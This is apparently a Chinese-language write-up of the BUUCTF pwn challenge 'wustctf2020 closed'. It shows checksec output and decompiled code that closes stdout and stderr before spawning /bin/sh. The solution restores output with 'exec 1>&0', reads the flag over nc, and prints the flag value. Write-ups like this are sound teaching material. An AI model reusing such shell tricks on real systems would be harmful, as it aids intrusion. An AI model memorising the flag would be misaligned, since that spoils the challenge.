wustctf2020 closed
# wustctf2020 closed
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/wustctf2020_closed/wustctf2020_closed'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
vulnerable();
return 0;
}
1
2
3
4
5
6
2
3
4
5
6
init函数如下:
int init()
{
alarm(0x20u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
return puts(
" __ ___ ______ ___ \n"
" / |/ /__ /_ __/__< /_ __\n"
" / /|_/ / _ `// / / __/ /\\ \\ /\n"
"/_/ /_/\\_,_//_/ /_/ /_//_\\_\\ \n");
}
1
2
3
4
5
6
7
8
9
10
11
2
3
4
5
6
7
8
9
10
11
vulnerable函数如下:
__int64 vulnerable()
{
puts("HaHaHa!\nWhat else can you do???");
close(1);
close(2);
return shell(2LL);
}
1
2
3
4
5
6
7
2
3
4
5
6
7
shell函数如下:
int shell()
{
return system("/bin/sh");
}
1
2
3
4
2
3
4
# 思路分析
目前信息:
close(1)
关闭了标准输出close(2)
关闭了标准错误- 直接调用
system("/bin/sh")
获得了shell
- Partial RELRO
- No canary found
- NX enabled
- No PIE
思路
- 三条语句中
close(1)
、close(2)
把标准输出和标准错误输出关闭,可以执行 exec 1>&0,也就是把标准输出重定向到标准输入,因为默认打开一个终端后,0
,1
,2
都指向同一个位置也就是当前终端,这条语句相当于重启了标准输出,此时就可以执行命令并且看得到输出了
- 三条语句中
nc node4.buuoj.cn 25232
__ ___ ______ ___
/ |/ /__ /_ __/__< /_ __
/ /|_/ / _ `// / / __/ /\ \ /
/_/ /_/\_,_//_/ /_/ /_//_\_\
HaHaHa!
What else can you do???
exec 1>&0
cat flag
flag{6bf11b28-f05c-4670-8962-b7d496165d3f}
1
2
3
4
5
6
7
8
9
10
11
2
3
4
5
6
7
8
9
10
11
上次更新: 2022/08/15, 00:29:49